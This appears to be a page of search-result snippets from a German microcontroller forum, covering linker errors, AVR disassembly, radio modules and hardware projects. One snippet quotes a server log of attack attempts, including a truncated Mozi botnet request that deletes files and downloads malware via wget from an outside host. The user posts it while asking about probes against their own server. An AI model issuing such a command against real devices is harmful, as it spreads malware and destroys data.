-
Thread
arm-none-eabi Linker problem
Dort sieht man den kurzen Quellcode + Makefile + consolen output Das Problem tritt in Zeile 36 auf.
./arm-none-eabi/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000008000 /tmp/cc6fDBq0.o: In function `main': main.c:(.text.startup+0xa): undefined reference to `sprintf' collect2: error: ld returned 1 exit status make: *** [Makefile:31: main.gcc.thumb2.flash.bin] Error 1
-
Thread
[T] Teilekiste geleert
Gerät ist übrigens von einem 91er ICE :-) SED1341F (LCD controller) D71051C (serial interface) TMP82C79P-2 (keyboard inerface) sn74als299n (8bit universal shift register 2x) 74hc241ap (octal bus buffer) tms 4464-12nl (RAM 4x) cd74hc174e 74hc74ap P51256SL-10 (DRAM Speicher 28 pin Version
nec d72020c-8 (prozessor) RECOM R05A12 (dc/dc wandler, 5V>12V@42ma) SYKO SRI.S60.24 (DC/DC 36-76V zu 24V @ 0,6A)
-
Thread
Arduino analog input
temperatur Zitat: "Der Wert des Sensors wird unmittelbar im „Map-Befehl“ ausgelesen mit „analogRead(TMP36)“. Die Messwerte sollten zwischen 0 und 410 liegen. Das entspricht am analogen Port den Werten zwischen 0 V und 2V" Ich verstehe nicht, warum die analog eingelesenen Werte zwischen 0 und 410
-
Thread
C++?!?
something *a = new something(); return 0; } [/c] Oder scheitert der auch mit sowas: [c] /tmp/ccEqo0Mb.o: In function `main': test.cpp:(.text+0xa): undefined reference to `operator new(unsigned int)' test.cpp:(.text+0x22): undefined reference to `operator delete(void*)' test.cpp:(.text+0x28): undefined reference to `__cxa_allocate_exception' test.cpp:(.text+0x36): undefined reference to `__cxa_throw' test.cpp:(.text+0x3e): undefined reference to `vtable for __cxxabiv1::__pointer_type_info' test.cpp:(.text+0x52): undefined reference to `vtable for __cxxabiv1
-
Thread
Sensoren mit RFM02/12, FOST02, HP03S (ASM)
z.Z. ein Mega88, wird vermutlich durch einen Tiny44 ersetzt werden. Nummer 5 mit RFM02 und einem TMP36S als Temperatursensor. Nr. 6 wurde auch zum Test mit dem internen Temperatursensor des Tiny45 betrieben. Dazu gibt es noch einen Steckbrett-Empfänger mit RFM12 (bisher auch nur Empfänger), Mega16
-
Thread
mit Bascom über rs232 Frequenz aus einen Frequenzzählermodul auslesen.
liefern kann. Lass die Zykluszeit zwischen 10 und 20 Prozessortakten betragen, dann sind das ca. 1,36µs. Ein Zeichen dauert bei 9600 Baud = 1,04ms. D.h. die ersten zwei Zeichen erwischt Du, weil wohl eines im UDR hängt und das zweite gerade empfangen wird, danach liest Inkey() 10 mal nichts, also Null
war es das selbe Verhalten, bei 115k benötigt ein Zeichen 86,8µs, währen Inkey() für eine Runde 1,36µs benötigt, für 10 Zeichen also 13,60µs, dann ist die Schleife fertig. Da kann nichts mehr kommen. > Trotz stundenlanger Suche in diversen Foren und Google habe ich bis > heute nicht begriffen, wie
-
Thread
Wittig(welec) DSO W20xxA Open Source Firmware
sauber importieren. Ansonsten, nochmal Kurzeinweisung fuer Falk: [pre] <0>[18:28]niklas@empire:/tmp/improved$ cat > src/newfile Inhalt <0>[18:28]niklas@empire:/tmp/improved$ svn add src/newfile A src/newfile <0>[18:28]niklas@empire:/tmp/improved$ svn diff Index: src/newfile ========
richtig erinnere. Wenn du unter Windows arbeitest sollte das exe aus meinem post vom 27.07.2009 16:36 gehen. Martin
-
Thread
Suche Lupenbrille
252FDQWDgHvTPUgbcd1dO%252BfySlFFB0d%252FII5oQ9%252FqwJsHIQmGzpFIHF2N0GVatlsSROJHa7g11RKRs2%252F2vAiyofCfDVk9IAsj36s40vFt65RMpmBIqE2HUVavAhOn0kKrAfkGtRfMSiapZy1%252BGhT8cFx6UErWu1xPLY6ZgdQ%252FbuBo4zbGozw1lgCH2C8A38zk9RJ7PhMGXPqx5EJPMCWZooqV70MP1DPVzOUhpSbj3sW79RVQSjqUqMiTx8UBmHEtF5UhUu%252Bs550zi0Py6RGJaGu4Vce3vwsRVPmZvAzU0jl8xRIcDnNylpiISwBDJVObTz4vveoG0WXSoML7KdCYy6%
cpc_organic&gmcCountry=DE&utm_content=minha&utm_campaign=minha-de-de-pc¤cy=EUR&cur_warehouse=CN&createTmp=1&utm_source=googleshopping&utm_medium=cpc_bgs&utm_content=frank&utm_campaign=frank-ssc-de-all-20bf11-1006-11sale&ad_id=471112227280&gclid=EAIaIQobChMI49Tr6LSw8AIVGCwYCh282A8cEAQYBSABEgK90fD_BwE
-
Thread
C versus Assembler->Performance Gesperrt
.L2: ldd r25,Y+1 ldd r24,Y+2 cp r25,r24 brne .L3 nop /* epilogue start */ pop __tmp_reg__ pop __tmp_reg__ pop __tmp_reg__ pop __tmp_reg__ pop r29 pop r28 ret .size SysTick_Handler, .-SysTick_Handler .ident "GCC: (GNU) 4.8.1" .global __do_clear_bss [/avrasm
[/code] diesen mit 9 Takten doch wesentlichen schnellern Code produziert: [code] clr __tmp_reg__ lsl r24 rol r25 rol __tmp_reg__ lsl r24 rol r25 rol __tmp_reg__ mov r24,r25 mov r25,__tmp_reg__ [/code]
-
Thread
Handykamera MCA-25 ansteuern
\nOK\r\n< [0D 0D 0A 2B 49 50 52 3A 20 28 29 2C 28 31 32 30 30 2C 32 34 30 30 2C 34 38 30 30 2C 39 36 30 30 2C 31 39 32 30 30 2C 33 38 34 30 30 2C 35 37 36 30 30 2C 34 36 30 38 30 30 29 0D 0A 0D 0A 4F 4B 0D 0A ] <<IN <<AT+CMUX=?. >>SEND>>AT+CMUX=?< [41 54 2B 43 4D 55 58 3D 3F ] >>SEND>>\r\r\n+CMUX
\nOK\r\n< [0D 0D 0A 2B 49 50 52 3A 20 28 29 2C 28 31 32 30 30 2C 32 34 30 30 2C 34 38 30 30 2C 39 36 30 30 2C 31 39 32 30 30 2C 33 38 34 30 30 2C 35 37 36 30 30 2C 34 36 30 38 30 30 29 0D 0D 0A 4F 4B 0D 0A ] <<IN <<AT+CMUX=?. >>SEND>>AT+CMUX=?< [41 54 2B 43 4D 55 58 3D 3F ] >>SEND>>\r\r\n+CMUX:
-
Thread
PIC16F628A PWM mit delay (ASM)
call_w 5, delay_sec ; und hier als loop loop call_w -90 DEG, set_servo movlw 12 movwf tmp loop_move call_w 10,delay_sec movlw (188 DEG) / 12 addwf servo_val decfsz tmp goto loop_move call_w 120,delay_sec goto loop set_servo movwf servo_val ;**************
Anfang stellen ;Variablenvergabe cblock 0x20 d1 ;3 Variablen für die 36 Sekunden d2 d3 e2 ;2 Variablen e3 ;für die 20ms, bei denen das bit auf 0 gesetzt sein muss ;Man könnte jedes mal den Wert berechnen, der
-
Thread
VOLTCRAFT DSO-3062C 60 MHz = baugleich mit?
/tmp/test10237.txt...ok len = 10237.. send shell msg ok..filesize=10237..sum=78 rec shell code=cat /tmp/test10238.txt...ok len = 10238.. send shell msg ok..filesize=10238..sum=133 rec shell code=cat /tmp/test10239.txt...ok len = 10239.. send shell msg ok..filesize=10239..sum=189 rec shell code=cat /tmp/test10240.txt...ok <-- Datei mit 10240 Bytes lesen! len = 10496..
-
Thread
cpp memory leaks vermeiden
581 object: 1 address: 599 [/code] Wen ich es richtig sehe, werden wohl für jedes Object 36 Bytes verbraucht. [c] #define LEDARRAYT_LEN 10 Flasher *Liste[LEDARRAYT_LEN]; void setup() { Serial.begin(115200); Idx = 0; Liste[Idx++] = new Flasher(12, 100, 400); Liste[Idx
arduino -I/home/christoph/tools/Arduino/arduino-1.8.6/hardware/arduino/avr/variants/eightanaloginputs /tmp/arduino_build_60317/sketch/TEST_objectDelete.ino.cpp -o /dev/null TEST_objectDelete:1:19: error: cstddef: No such file or directory compilation terminated. exit status 1 cstddef: No such file or
-
Thread
RFM12 mit Attiny25
RFM02 drauf, weil nur gesendet wird, aber vielleicht hilft es. Mit Fost02 als Sensor 1464 Byte mit TMP36S 1030 Byte. http://www.avr.roehres-home.de/sensoren/index.html Falls die C-Sourcen nicht auf der Webseite liegen, mal eine Email schicken, ich war da (leider) lange nicht mehr dran...
-
Thread
Beispielprogramm für RFM12 433MHz Funk-Module
der C Code für den Empfänger: [c] void receive(void) { unsigned char test[1]; uint8_t tmp; rf12_rxdata(test,1); tmp = atoi(test[0]); if(tmp > 0 && tmp < 10) { einer = tmp; } } [/c] Beim Build bekomme ich diese Warnung: [c] ../main.c:106: warning: implicit
Richard B. wrote: > Hier der C Code für den Empfänger: > tmp = atoi(test[0]); atoi nimmt char* als Argument, Du gibt ihm hier aber nur ein char. So wäre es richtig: tmp = atoi(test); Dann mußt Du allerdings auch sicherstellen, daß der String mit
-
Thread
AVR Attiny10 External Interrupt in C
vectors>: 0: 0a c0 rjmp .+20 ; 0x16 <__ctors_end> 2: 12 c0 rjmp .+36 ; 0x28 <__vector_1> 4: 10 c0 rjmp .+32 ; 0x26 <__bad_interrupt> 6: 0f c0 rjmp .+30 ; 0x26 <__bad_interrupt> 8: 0e c0 rjmp .+28 ; 0x26
//round up by default __ticks_dc = (uint32_t)(ceil(fabs(__tmp))); #endif __builtin_avr_delay_cycles(__ticks_dc); 3e: 4f e9 ldi r20, 0x9F ; 159 40: 56 e8 ldi r21, 0x86 ; 134 42: 61 e0 ldi r22, 0x01 ; 1 44: 41
-
Thread
alsa mit openwrt
installieren, wegen nicht aufgelöster Symbole. [c] root@OpenWrt:~# gcc -lasound alsa_test.c /tmp/ccfAJjdN.o: In function `main': alsa_test.c:(.text+0x20): undefined reference to `snd_pcm_open' alsa_test.c:(.text+0x38): undefined reference to `snd_strerror' collect2: error: ld returned 1 exit
target-arm_arm1176jzf-s+vfp_musl_eabi/usr/lib/libncursesw.so.6.1 -rwxr-xr-x 1 u u 304884 Nov 13 20:36 staging_dir/target-arm_arm1176jzf-s+vfp_musl_eabi/usr/lib/libncursesw.so.6.1 [/pre] Target (original Lib umbenannt in *orig*) [pre] root@OpenWrt:~# ls -l /usr/lib/libncursesw.orig.so.6.1 -rwxr-xr-x
-
Thread
Frequenzzähler 1Hz - 40MHz
* rising edge = gate closes */ register uint16_t tmp= ICR1; if (tmp < nref.w[0]) { --nref.b[2];
* rising edge = gate closes */ register uint16_t tmp= ICR1; if (tmp == 0) { ++nref.b[2]; } if (tmp < nref.w[0])
-
Thread
Probleme mit _delay_ AVR Atmel32
5c: de bf out 0x3e, r29 ; 62 5e: cd bf out 0x3d, r28 ; 61 60: 0e 94 36 00 call 0x6c ; 0x6c <main> 64: 0c 94 4f 00 jmp 0x9e ; 0x9e <_exit> 00000068 <__bad_interrupt>: 68: 0c 94 00 00 jmp 0 ; 0x0 <__vectors> 0000006c <main>: int main() {
out 0x18, r25 ; 24 #else //round up by default __ticks_dc = (uint32_t)(ceil(fabs(__tmp))); #endif __builtin_avr_delay_cycles(__ticks_dc); 76: 2f ef ldi r18, 0xFF ; 255 78: 31 ee ldi r19, 0xE1 ; 225 7a: 44 e0 ldi r20, 0x04 ; 4 7c: 21
-
Thread
Letzter Hilferuf AT91SAM7S - PWM oder PCK
reinfräsen und dann anlöten: http://www.frank-buss.de/tmp/m41t82.jpg Ja, sieht abenteuerlich aus, hat aber tatsächlich funktioniert :-) Profis machen das aber per Reflow-Löten. PCB-Pool bietet da auch was für den Hobbygebrauch an: man kann dort kostenlos
die Dead-Bug Technik (weil auf dem > Rücken liegender Käfer) anwenden: > http://www.frank-buss.de/tmp/dead-bug.jpg > Allerdings wird das bei vielen Pins und vielen nötigen Anschlüssen > schnell unübersichtlich. Hut ab meine Herren. Ich glaube mit meinem 5€ Lötkolben wäre der schnell in echt Tot :
-
Thread
Drucker drucht nicht mehr unbter Suse 12.3
Returning HTTP Forbidden for Cancel-Job (ipp://localhost/jobs/104) from localhost E [14/Sep/2013:09:23:36 +0200] Returning HTTP Forbidden for Cancel-Job (ipp://localhost/jobs/104) from localhost E [14/Sep/2013:09:23:53 +0200] Returning HTTP Forbidden for Cancel-Job (ipp://localhost/jobs/104) from localhost
localhost E [14/Sep/2013:09:34:01 +0200] [Job 105] The printer is not responding. E [14/Sep/2013:09:36:38 +0200] [Job 105] The printer is not responding. E [14/Sep/2013:09:39:15 +0200] [Job 105] The printer is not responding. E [14/Sep/2013:09:41:52 +0200] [Job 105] The printer is not responding. E
-
Thread
noch ein mal: avrdude: stk500_getsync(): not in sync:
carduino -P\\.\COM1 -b57600 -D -Uflash:w:C:\Users\Jochen\AppData\Local\Temp\build8734799225731062689.tmp\Blink.cpp.hex:i avrdude: Version 5.11, compiled on Sep 2 2011 at 19:38:36 Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/ Copyright (c) 2007-2009 Joerg Wunsch
-
Thread
bidirektionale RS232 Funkbrücke mit RFM12
: Meine Version der Baudratenfunktion: [c] void rfmSetBaud( uint16_t baud ) { uint16_t tmp; //minimal baudrate with cs=0 is about 2700 if( baud < 2700 ) { tmp = (344828/(baud*8)-1); //cs=1 BR=344828/(R+1)*(1xcs*7) } else { tmp = ((344828/baud)-1); //cs=0 BR=344828/(R+1) } rfmWrtCmd(0xC600|tmp); } [/c]
-
Thread
WordClock mit WS2812
meine Test-WC24h mit dem 4A-Netzteil. Und der Stecker macht schon Sinn. Maximal hängen da 2 x 18 = 36 LEDs an einem Flachbandkabel-Paar. 36 * 60mA = ca. 2A bei voller Leuchtstärke. Das passt schon. > Also ggf. den Strom für die LEDs gar nicht > über die Platine führen und direkt über die Stecker
command: set display colors to 30 32 0 (CMD 43 1E 20 24) command: set display colors to 30 32 36 (CMD 43 3F 20 24) command: set display colors to 63 32 36 (CMD 43 3F 3F 24) command: set display colors to 63 63 36 update display (CMD 54 10 0 [/code]
-
Thread
Schwachstellen oder der übliche Hackerscheiß
to INBOX: 1 Time(s) dovecot: service=lda, user=neu@domain.com, ip=[]. msgid=? <MN2PR20MB2590CCDFEE36F585F2599A54B90B0@MN2PR20MB2590.namprd20.prod.outlook.com>: saved mail to INBOX: 1 Time(s) ---------------------- Dovecot End ------------------------- --------------------- httpd Begin ------
default.htm: 1 Time(s) /muieblackcat: 1 Time(s) /search/tsc.php?200=MzMwMTU0NjA4&21=NjYuMj ... 5bc36c22f3&cv=1: 1 Time(s) /shell?cd+/tmp;rm+-rf+*;wget+http://42.235 ... tmp/Mozi.a+jaws: 1 Time(s) /sonne: 1 Time(s) 405 Method Not Allowed ip.ws.126.net:443: 1 Time(s) 408 Request Timeout null: 13
-
Thread
Minutengenaue 24 Stunden-Wortuhr - wer will mitbauen?
hier 36 LEDs/m https://www.slv.de/leuchten-leuchtmittel/flexled-roll-rgb-12v-552003.html
es ist im Programm aber natürlich nicht im Ablauf [c] void loop() { unsigned char j; char tmp_str[4]={0}; if(irmp_data.address==65280 && irmp_data.command==4 && led_hell>MIN_LEDHELL) { myGLCD.printNumI(--led_hell,66,36,3,' '); Serial.print(F("led_hell=")); Serial.println
-
Thread
wie finde ich das Speicherleak?
wozu überhaupt tmp dynamisch alloklieren? char bin[9+1]; damit würde auch das free entfallen
printf(" %c == %hu ", _cfe[a++], (unsigned short)_cfe[a]); [/code] meint es: [code] crap.c(36,29): Argument 2 modifies a, used by argument 3 (order of evaluation of actual parameters is undefined): printf(" %c == %hu ", _cfe[a++], (unsigned short int)_cfe[a]) Code has unspecified
-
Thread
MSP430F1612_2 Timer_2 Zeitbasen
User-Guide Seite 4-7 müssten das dann ca. 8MHz sein. Aber im Datenblatt zum F1612 steht auf Seite 36 für RSEL = 7, DCO = 7, MOD = 0 und DCOR = 0; bei 3V knapp 5MHz. Ja, was denn nun? Meint Ihr, dass könnte SO gehen? Vcc ist bei mir übrigens 3,3V. [c] DCOCTL = DCO0 + DCO1 + DCO2;
soll... >Wo schreib ich jetzt meine globalen Variablen rein? [c] // my_globals.c uint8_t my_tmp; [/c] [c] // my_globals.h extern uint8_t my_tmp; [/c] my_globals.h wird dann überall per #include eingebunden. Sieht aus wie doppelt gemoppelt, ist aber schon sinnvoll. MFG Falk
-
Thread
Lauflicht Ws2812B
inData ((kugelctr-1)*24 to kugelctr*24-1) <=kugel; tmpData <= inData; else inData <= tmpData; timer <= timer +1; end if;
Denn das gäbe die berüchtigte kombinatorische Schleife: http://www.lothar-miller.de/s9y/categories/36-Kombinatorische-Schleife Sieh auch das dort: http://www.lothar-miller.de/s9y/archives/43-Ein-oder-Zwei-Prozess-Schreibweise-fuer-FSM.html Und zum Thema "Taktteiler" siehe das Clock-Enable dort
-
Thread
Auslesung von DS1307 RTC
SPSR |= (0 << SPIF); // SPIF zum Start löschen } [/c] aufruf der daten [c] char tmp[22]; spi_send_string("TIME\n", &tmp, PIN_SPI_CS3); // Senden von Time\n an Haupteinheit display_write(tmp,0,5); [/c] Denke mal das das alles Relevante ist was benötigt wird um den Fehler zu
for-Schleifenbedingung geändert und nun verschwinden keine Zahlen mehr doch meine Anzeige zeigt nun 08:4:15:8:0:36 woher kommt denn die erste null? kann es mir leidr nicht erklären :-( [c] void spi_send_string(char string[], char *antwort, int cs) { uint8_t length; uint8_t i; int MAXANTEEORTLAENGE =
-
Thread
AVR Inline Optimierung kaputt?
max ) | DHT H= 36,8% |(36.7 - 37.2) | DHT T= 25,2°C|(25.2 - 25.2) | RTC T= 25,5°C| |con=63 hell=08| -------------- [/c]
code] ergibt, wie zu erwarten (sowohl mit GCC als auch LLVM hier): [code] philipp@notebook6:/tmp$ ./a.out 0 1 [/code]
-
Thread
direkt in ein Register des Tiny5 schreiben
r22, 0x10 ; 16 32: 70 e0 ldi r23, 0x00 ; 0 34: e6 2f mov r30, r22 36: f7 2f mov r31, r23 38: 60 81 ld r22, Z 3a: 61 60 ori r22, 0x01 ; 1 3c: e4 2f mov r30, r20 3e: f5 2f mov r31, r21 40: 60 83
Interessant. Da musst du tatsächlich einen anderen 5.4.0 als ich haben. [code] /tmp/norbert$ avr-gcc --version avr-gcc (GCC) 5.4.0 Copyright (C) 2015 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for
-
Thread
AM oder FM Fernbedinung Rohrmotor -> bild
0x31 equ 0x31 LRAM_0x32 equ 0x32 LRAM_0x33 equ 0x33 LRAM_0x34 equ 0x34 LRAM_0x35 equ 0x35 LRAM_0x36 equ 0x36 ; Program Org 0x0000 ; Reset-Vector NOP GOTO LADR_0x005C ADDLW 0xFF ADDLW 0xFF ; Interrupt-Vector RETFIE ADDLW 0xFF ADDLW 0xFF ADDLW
0x00FD BCF STATUS,RP0 ; !!Bank Register-Bank(0/1)-Select MOVLW 0x03 MOVWF LRAM_0x36 LADR_0x0100 CALL LADR_0x0017 CALL LADR_0x0029 CALL LADR_0x0029 DECFSZ LRAM_0x36,F GOTO LADR_0x0108 BCF PORTC,5 ; $ PORTC - TRISC BSF PORTC,0 ; $
-
Thread
Linux Umsteiger: Woher DivX nehmen und installieren?
-4, mp3 usw. Das war eine sehr lange Liste. Danach wurden Abhängigkeiten errechnet und mir so rund 36Mb aus dem Netz auf den Rechner gezogen. Dabei kam es zu einigen Meldungen, die ich Ignorieren musste, keine Ahnung welche. Danach konnte ich vlc plötzlich anwählen, es erschienen keine Fehlermeldungen
Konfigurationsdateien), /var (von Programmen erzeugte Dateien, die auch einen Reboot überleben sollen) und /tmp (von Programmen erzeugte Dateien mit beschränkter Lebensdauer) verteilt. Diese Verzeichnisse entsprechen teilweise Unterverzeichnissen von "Windows", sind aber etwas feiner unterteilt. Bspw. liegen
-
Thread
data2mem zur Mitarbeit bewegen
PLATFORM)_top.bit boot.elf $(DATA2MEM) -bd boot.elf -bm foo_bd.bmm -bt $< \ -bx /tmp \ -o b $@ [/code] Gruss, - Strubi P.S. Poste doch sonst mal dein BMM.
sehen. Das hat die folgenden Konsequenzen: - die bmm-Datei passt nicht mehr (RAMB18 statt RAMB16, 36 Bit statt 32 Bit [confusing]) - die mem-Datei zum Initialisieren braucht ein anderes Format - elf-Dateien gehen vermutlich gar nicht mehr P.S.: Mit dem angehängten Quelltext (Versuch eines Minimalbeispiels
-
Thread
Potentiometer an Mikrocontrollter
mir jahrelang verheimlicht wurde wo *.o Files noch zu gelinkt werden. Noch so ein Teil wie die tmp die offensichtlich auch Daten sammelt, benenne ich einen Ordner um weil ich was anderes probieren möchte will er partout in den umbenannten Ordner suchen und dann passiert "kann tool.c.c. nicht finden
nennt sich das. Genau so, "Wieviel Bit hat ein char?"! Auch dieses ist "Implementation defined". 36Bit pro char ist vielleicht selten, aber durchaus im Rahmen des Standards. Wenn man mit char rechnen möchte, muss man also selber definieren, ob man mit oder ohne Vorzeichen rechnen möchte. DAS
-
Thread
(NFS) Netzwerk-Shares unter Linux
KDE kannst Du kio nehmen um das Problem zu umgehen. Die Daten werden damit erst komplett ins lokale tmp kopiert, dort dann geöffnet und bearbeitet, und hinterher wieder hochkopiert. Funktioniert ganz gut für einzelne Dateien, ist aber für größere Mengen unpraktisch. Und geht natürlich nicht von der
die auch auf dem Server selbst nur um die 100 MB/s schafft. Der Server ist ein HP Microserver N36L mit Debian 8, der Client ein AMD Sempron 140 mit einem Derivat von Ubuntu 11. Also beides wahrlich keine Rennpferde. Womit hast du bei NFS kopiert? Ich teste das gerne mit sowas wie dd if=/dev
-
Thread
Zeigt her eure Kunstwerke (2) Gesperrt Bilder
Die Masse macht’s. Der IR-Detektor kostet stolze 2,50€ (100 x 2,50€ = 250€) Drehwiderstand 0,36€ (100 x 0,36€ = 36€) So läppert es sich mit der Zeit alles zusammen. LG Julius
abschneiden, dann testen, und dann sehen, dass die Teile an 12V gerade einmal 2,93A aufnehmen. Das sind 36, aber keine 72W...
-
Thread
Transistortester AVR
@Foldi um 13:36 Uhr >dass in einem deutschsprachigem Forum das in >Slowenisch übersetzt wird Slowenisch ist nicht Slovakisch. Finnisch ist nicht Spanisch. Dnies schrub um 12:40 Uhr: >for change language
Gruß Michael EDIT: Jetzt ist ja alles gesagt und man könnte die Dialoge vom 02-02-2013 von 13:36 bis 23:28 Uhr Löschen!
-
Thread
China PCB Hersteller der Sprint- Layout verarbeitet ?
hier) Schall und Rauch. Der Inhalt ist entscheidend. (Du meinst wirklich, dass er auch GERBER.TMP bekommen müsste?)
Naja.... Aus: "The Gerber File Format Specification" Revision J4, Februar 2015 von Ucamco Seite 36: The Gerber Format has a standard file name extension a registered mime type and a UTI definition. Standard file extension: .gbr or .GBR Mime type: application/vnd.gerber [see http://www.iana.org
-
Thread
GNUBLIN www.gnublin.org
Wenn ich, wie in der Anleitung vorgehe bekomm ich folgende Fehlermeldung: [code] linux@linux:/tmp> sudo python gnublin-card.py --all --device=/dev/sd<e> bash: Syntaxfehler beim unerwarteten Wort `newline' linux@linux:/tmp> [/code] Hat Jemand einen Tipp, wo ich suchen muss, um das Problem
dieser PL2303 Option und alles wichtige in ein Archiv gepackt: http://www.hs-augsburg.de/~hhoegl/tmp/delete-me/kernel-120618-pl2303.tar.gz Du musst das zImage und den Ordner /lib/modules/2.6.33 auf Deiner SD Karte ersetzen. Gruesse, Hubert
-
Thread
Absturz beim Verwenden von volatile
do_clear_bss_loop>: 68: 1d 92 st X+, r1 0000006a <.do_clear_bss_start>: 6a: a1 36 cpi r26, 0x61 ; 97 6c: b1 07 cpc r27, r17 6e: e1 f7 brne .-8 ; 0x68 <.do_clear_bss_loop> 70: 0e 94 3e 00 call 0x7c ; 0x7c <main> 74: 0c 94 56 00
10); __ticks --; 90: 01 97 sbiw r24, 0x01 ; 1 __ticks = 1; else if (__tmp > 65535) { // __ticks = requested delay in 1/10 ms __ticks = (uint16_t) (__ms * 10.0); while(__ticks) 92: d9 f7 brne .-10 ; 0x8a <main+0xe> _delay_ms(1500);
-
Thread
keine Temp. über 32°C per Funk
Updated by Martin Harizanov (harizanov.com) to work with DS18B20 // To use with DS18B20 instead of TMP36, a 4K7 resistor is needed between the Digital 9 and Digital 10 of the ATTiny (Vdd and DQ) // To get this to compile follow carefully the discussion here: http://arduino.cc/forum/index.php?topic=91491.0
-
Thread
Retro Fieber: Z80 oder 68000 ?
Voll kompatibel. Da könnte man jetzt den 68000 ins Spiel bringen; falls ihn jemand braucht, den TMP68301 hätte ich noch im Angebot.
)&erste_code_adresse; 410C 21 00 40 [10] 100 ld hl,#_erste_code_adresse+0 410F 22 36 65 [16] 101 ld (_code_start),hl 102 ;main.c:53: code_end = (void*)&letzte_code_adresse; 4112 21 36 65 [10] 103 ld hl,#_letzte_code_adresse+0 4115
-
Thread
Sinus - Frequenz und Amplitude messen
, der Fu stimmt nicht ;) Ich bin ja gerade nicht in der Werkstatt, aber ich habe mal ein Bild ("tmp1.jpg") bearbeitet, dass ich hier auf dem Rechner habe. Der Motor ist wie auf Bild "tmp2.jpg" angebaut. Die Leitungen der Sensoren laufen also auf der gegenüberliegenden Seite des FUs. EDIT: Auf den
Fu stimmt nicht ;) > > Ich bin ja gerade nicht in der Werkstatt, aber ich habe mal ein Bild > ("tmp1.jpg") bearbeitet, dass ich hier auf dem Rechner habe. Der Motor > ist wie auf Bild "tmp2.jpg" angebaut. Die Leitungen der Sensoren laufen > also auf der gegenüberliegenden Seite des FUs. > EDIT:
-
Thread
unerklärlicher SIGSEGV
sind die Bounds terminiert). Nicht das Problem. Ja, 32 bit? -2147483648 = 11 Zeichen * 3 + 3 = 36. Mit sprintf sagt man halt: "Schreib hin wo du willst." Da kann man sicher auf den Exploit warten, der über einen Hack der Date-API root-Zugriff erzeugt.
, 123456); std::cout << str << std::endl; return(0); }[/c] [code] xxx@yyyyyy:~/tmp> ./overwrite 123456 [/code] Grüsse, René
-
Thread
STM32F103C8T6 - Fälschung von ST bestätigt
eu.mouser.com/ProductDetail/STMicroelectronics/STM32F031K6T7?qs=sGAEpiMZZMuoKKEcg8mMKFVYrMw9pjTFFCnRmt7V41bE36aljzXbaQ%3D%3D Albern Der TE: "Die Chinesen haben jahrelang Taschenlampen für €2,- verkauft, die super funktionieren. Aber in letzter Zeit gibt es nur noch Fakes." Du: "Kauf doch Kerzen! Die
1317 909 593 28 1537 1060 691 32 1756 1211 790 36 1975 1363 889 40 2195 1514 988 44 2414 1665 1086 48 2634 1817 1185 52 2853 1968 1284 56 3073 2119
-
Thread
Wie lange hält bei euch eine SSD?
Einsatz sein. Als OS wird Gentoo verwendet. Die Kompiliererei findet allerdings im RAM statt (/var und /tmp als "RAMDisk"). Gemäß SMART stehen bisher 8340 Betriebsstunden und 11752 Host_Writes_32MiB, also 376GiB geschriebene Datenmenge zu Buche. Das Datenblatt gibt ein "Minimum Useful Life" von 5 Jahren mit 20GB Schreibvolumen pro Tag an. Also knapp 44000 Betriebsstunden und 36,5TB Schreibvolumen. Wird wohl noch eine Weile halten.
-
Thread
Zeigt her Eure Kunstwerke! Gesperrt Bilder
Platine mit 96-Pin DIN Steckerleiste. Auf der Platine sind ein PIC18F8722, LM4132-2.5V, 1Mb EEPROM, TMP101, DS13307 RTC, 2x 12-bit DACs, 2x RS232 und 1x RS485, 8 LEDs(TPIC2810) und ein I2C(PCA9554) LCD Interface mit PWM BL . Die Platine verbraucht fuer sich selber nur 4 uC I/O pins . Die restlichen I/
So dann geh ich auch mal unter die Poser :-) 1) WL-CSP25-0.5er pitch, 2x QFN mit 36 Pin & 0.5er pitch, 125 Orange 0402er LEDs, 3x RGB Sideleds, Hirose Standard Connector, 4 Layer, 0.6mm Printstärke, keine gepluggten Vias 2) 2x Lautsprecher, eingänge, Ausgänge, 2x Trenntrafos, 2x
-
Thread
Lagerverwaltung Part-DB V0.3+
? [c] git fetch origin remote: Counting objects: 461, done. remote: Compressing objects: 100% (36/36), done. remote: Total 461 (delta 197), reused 224 (delta 194), pack-reused 231 Empfange Objekte: 100% (461/461), 258.95 KiB | 1004.00 KiB/s, Fertig. Löse Unterschiede auf: 100% (318/318), abgeschlossen
> git fetch origin > remote: Counting objects: 461, done. > remote: Compressing objects: 100% (36/36), done. > remote: Total 461 (delta 197), reused 224 (delta 194), pack-reused 231 > Empfange Objekte: 100% (461/461), 258.95 KiB | 1004.00 KiB/s, Fertig. > Löse Unterschiede auf: 100% (318/318),